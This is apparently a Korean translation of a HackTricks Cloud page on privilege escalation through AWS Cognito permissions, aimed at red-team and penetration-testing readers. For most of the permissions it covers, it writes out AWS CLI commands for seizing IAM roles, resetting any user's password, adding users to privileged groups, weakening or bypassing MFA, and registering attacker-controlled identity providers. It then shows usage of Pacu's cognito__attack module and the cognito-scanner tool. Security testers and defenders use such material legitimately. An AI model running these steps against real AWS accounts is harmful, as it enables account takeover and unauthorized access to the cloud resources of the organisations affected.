AWS - Cognito Privesc
Reading time: 11 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Cognito
Cognito에 대한 자세한 정보는 다음을 확인하세요:
Identity Pool에서 자격 증명 수집
Cognito는 IAM role credentials을 authenticated 및 unauthenticated users 모두에게 부여할 수 있기 때문에, 애플리케이션의 Identity Pool ID를 찾을 수 있다면(보통 애플리케이션에 하드코딩되어 있습니다) 새로운 자격 증명을 얻어 AWS 계정 내부에서 privesc를 수행할 수 있습니다(아마도 이전에는 어떤 자격 증명도 없었을 계정에서).
For more information check this page.
잠재적 영향: unauth users에 연결된 services role로의 직접적인 privesc (및 아마도 auth users에 연결된 역할에도 해당).
cognito-identity:SetIdentityPoolRoles, iam:PassRole
이 권한으로 cognito app의 authenticated/unauthenticated users에게 grant any cognito role를 부여할 수 있습니다.
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>
# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
cognito 앱에 비인증 사용자가 활성화되어 있지 않은 경우 이를 활성화하려면 cognito-identity:UpdateIdentityPool 권한이 필요할 수 있습니다.
잠재적 영향: 어떤 cognito 역할으로의 직접적인 privesc.
cognito-identity:update-identity-pool
이 권한을 가진 공격자는 예를 들어 자신이 제어하는 Cognito User Pool이나 자신이 로그인할 수 있는 다른 identity provider를 설정하여 이 Cognito Identity Pool에 접근하는 수단으로 사용할 수 있습니다. 그런 다음 해당 사용자 제공자에 단순히 로그인하는 것만으로도 Identity Pool에 구성된 authenticated role에 접근할 수 있게 됩니다.
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:
# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
또한 이 권한을 악용해 basic auth를 허용할 수 있습니다:
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
잠재적 영향: identity pool 내부에 구성된 authenticated IAM role을 탈취할 수 있습니다.
cognito-idp:AdminAddUserToGroup
이 권한은 Cognito user를 Cognito group에 추가할 수 있게 하므로, 공격자는 자신이 제어하는 사용자를 더 높은 권한(더 높은 권한)이나 다른 IAM roles을 가진 그룹에 추가하도록 악용할 수 있습니다:
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
Potential Impact: 다른 Cognito 그룹 및 User Pool Groups에 연결된 IAM 역할로의 Privesc.
(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole
이 권한을 가진 공격자는 그룹을 생성/업데이트하여 침해된 Cognito Identity Provider가 사용할 수 있는 모든 IAM 역할을 포함시키고, 침해된 사용자를 해당 그룹의 멤버로 만들어 그 역할들에 접근할 수 있습니다:
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
잠재적 영향: 다른 Cognito IAM 역할로의 Privesc.
cognito-idp:AdminConfirmSignUp
이 권한은 가입을 검증할 수 있습니다. 기본적으로 누구나 Cognito 애플리케이션에 가입할 수 있으므로, 이 설정이 남아 있으면 사용자가 임의의 정보로 계정을 생성하고 이 권한으로 계정을 검증할 수 있습니다.
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
잠재적 영향: 새 사용자를 등록할 수 있으면 인증된 사용자에 대해 identity pool IAM role로의 간접적인 privesc가 발생할 수 있습니다. 또한 어떤 계정이든 확인할 수 있게 되어 앱의 다른 기능들에 대한 간접적인 privesc가 발생할 수 있습니다.
cognito-idp:AdminCreateUser
이 권한은 공격자가 user pool 내부에 새 사용자를 생성할 수 있게 합니다. 새 사용자는 enabled 상태로 생성되지만 비밀번호를 변경해야 합니다.
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
Potential Impact: 인증된 사용자에 대한 identity pool IAM role로의 직접적인 privesc. 임의의 사용자를 생성할 수 있는 다른 앱 기능으로의 간접적인 privesc
cognito-idp:AdminEnableUser
이 권한은 공격자가 비활성화된 사용자의 자격증명을 발견하여 해당 사용자를 다시 활성화해야 하는 매우 드문(엣지 케이스) 상황에서 유용할 수 있습니다.
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
Potential Impact: 인증된 사용자의 identity pool IAM role에 대한 간접적인 privesc 및 공격자가 비활성화된 사용자의 credentials를 보유한 경우 해당 사용자의 권한 획득.
cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge
이 권한은 method ADMIN_USER_PASSWORD_AUTH. 자세한 내용은 링크를 확인하세요.
cognito-idp:AdminSetUserPassword
이 권한을 통해 공격자는 모든 사용자의 비밀번호를 변경할 수 있으며, MFA가 활성화되어 있지 않은 사용자를 대상으로 해당 사용자를 사칭할 수 있습니다.
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
Potential Impact: 직접 privesc로 잠재적으로 모든 사용자에게 권한 상승이 가능하므로, 각 사용자가 속한 모든 그룹과 Identity Pool authenticated IAM role에 접근할 수 있습니다.
cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool
AdminSetUserSettings: 공격자는 잠재적으로 이 권한을 악용해 자신이 제어하는 휴대전화 번호를 해당 사용자의 SMS MFA로 설정할 수 있습니다.
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
SetUserMFAPreference: 이전 항목과 유사하게, 이 권한은 사용자의 MFA 설정을 변경하여 MFA 보호를 우회하는 데 사용할 수 있습니다.
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
SetUserPoolMfaConfig: 이전 항목과 유사하게 이 권한은 사용자 풀의 MFA 설정을 변경해 MFA 보호를 우회하는 데 사용할 수 있습니다.
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
UpdateUserPool: 사용자 풀을 업데이트하여 MFA 정책을 변경할 수도 있습니다. Check cli here.
Potential Impact: 공격자가 자격증명을 알고 있는 잠재적 모든 사용자에 대해 간접적인 privesc가 발생할 수 있으며, 이는 MFA 보호를 우회할 수 있습니다.
cognito-idp:AdminUpdateUserAttributes
이 권한을 가진 공격자는 자신의 제어 하에 있는 사용자의 이메일, 전화번호 또는 기타 속성을 변경하여 기반 애플리케이션에서 더 많은 권한을 얻으려고 시도할 수 있습니다.
이를 통해 이메일이나 전화번호를 변경하고 이를 검증된 것으로 설정할 수 있습니다.
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
Potential Impact: 기반 애플리케이션에서 사용자 속성에 따라 권한을 부여하는 Cognito User Pool을 사용하는 경우 간접적인 privesc가 발생할 수 있습니다.
cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient
이 권한을 가진 공격자는 기존 풀 클라이언트보다 제약이 적은 새로운 User Pool Client를 생성할 수 있습니다. 예를 들어, 새 클라이언트는 모든 종류의 인증 방법을 허용하거나, secret을 요구하지 않거나, token revocation이 비활성화되거나, 토큰의 유효기간을 더 길게 허용할 수 있습니다...
새 클라이언트를 생성하는 대신 기존 클라이언트를 수정해도 동일한 결과를 얻을 수 있습니다.
자세한 옵션은 command line (or the update one)에서 확인할 수 있습니다. 확인해 보세요!
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
Potential Impact: 새로운 client를 생성하여 보안 조치를 완화하면 공격자가 자신이 생성한 사용자로 로그인할 수 있게 되어 User Pool에서 사용하는 Identity Pool의 권한 사용자에 대한 간접적인 privesc가 발생할 수 있습니다.
cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob
공격자는 이 권한을 악용하여 새 사용자가 담긴 csv를 업로드함으로써 사용자를 생성할 수 있습니다.
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>
# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>
# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
(새로운 import job을 생성하는 경우 iam passrole permission이 추가로 필요할 수 있습니다. 아직 테스트해보지 않았습니다).
잠재적 영향: 인증된 사용자에게 identity pool IAM role로의 직접 privesc. 다른 앱 기능들이 임의의 사용자를 생성할 수 있게 되는 간접적인 privesc.
cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider
공격자는 새로운 identity provider를 생성하여 login through this provider가 가능해질 수 있습니다.
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
Potential Impact: 인증된 사용자의 identity pool IAM role에 대한 직접적인 privesc. 다른 앱 기능에서 임의의 사용자를 생성할 수 있게 되는 간접적인 privesc.
cognito-sync:* 분석
이 권한은 Cognito Identity Pools의 역할에서 기본적으로 매우 흔합니다. 권한에 와일드카드가 있는 것은 항상 나빠 보이지만(특히 AWS의 경우), 해당 권한은 공격자 관점에서는 그다지 유용하지 않습니다.
이 권한은 Identity Pools의 정보와 Identity Pools 내부의 Identity IDs 정보를 읽을 수 있게 해줍니다(민감한 정보는 아님).
Identity IDs에는 Datasets가 할당되어 있을 수 있으며, 이는 세션 정보로 (AWS는 이를 저장된 게임처럼 정의합니다). 여기에는 어떤 민감한 정보가 포함될 가능성도 있지만(확률은 꽤 낮음) 있습니다. 이 정보를 어떻게 접근하는지에 대해서는 enumeration page에서 확인할 수 있습니다.
공격자는 또한 이러한 권한을 사용해 이러한 데이터셋의 변경사항을 게시하는 Cognito stream에 자신을 등록(enroll)시키거나 또는 cognito 이벤트에서 트리거되는 lambda에 접근할 수 있습니다. 저는 이것이 실제로 이용되는 것을 본 적은 없고, 여기에서 민감한 정보가 있을 것으로 기대하지 않지만 불가능한 것은 아닙니다.
자동화 도구
- Pacu, the AWS exploitation framework, now includes the "cognito__enum" and "cognito__attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
모듈 기능 설명은 blog post 파트 2를 참조하세요. 설치 지침은 메인 Pacu 페이지를 확인하세요.
사용법
지정된 identity pool 및 user pool client에 대해 사용자 생성 및 모든 privesc 벡터를 시도하기 위한 cognito__attack 사용 예:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
현재 AWS 계정에서 확인 가능한 모든 user pools, user pool clients, identity pools, users 등을 수집하기 위한 cognito__enum 사용 예:
Pacu (new:test) > run cognito__enum
- Cognito Scanner은 python으로 작성된 CLI 도구로, Cognito에 대한 다양한 공격을 구현하며 그중에는 privesc escalation도 포함됩니다.
설치
$ pip install cognito-scanner
사용법
$ cognito-scanner --help
자세한 정보는 다음을 확인하세요 https://github.com/padok-team/cognito-scanner
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud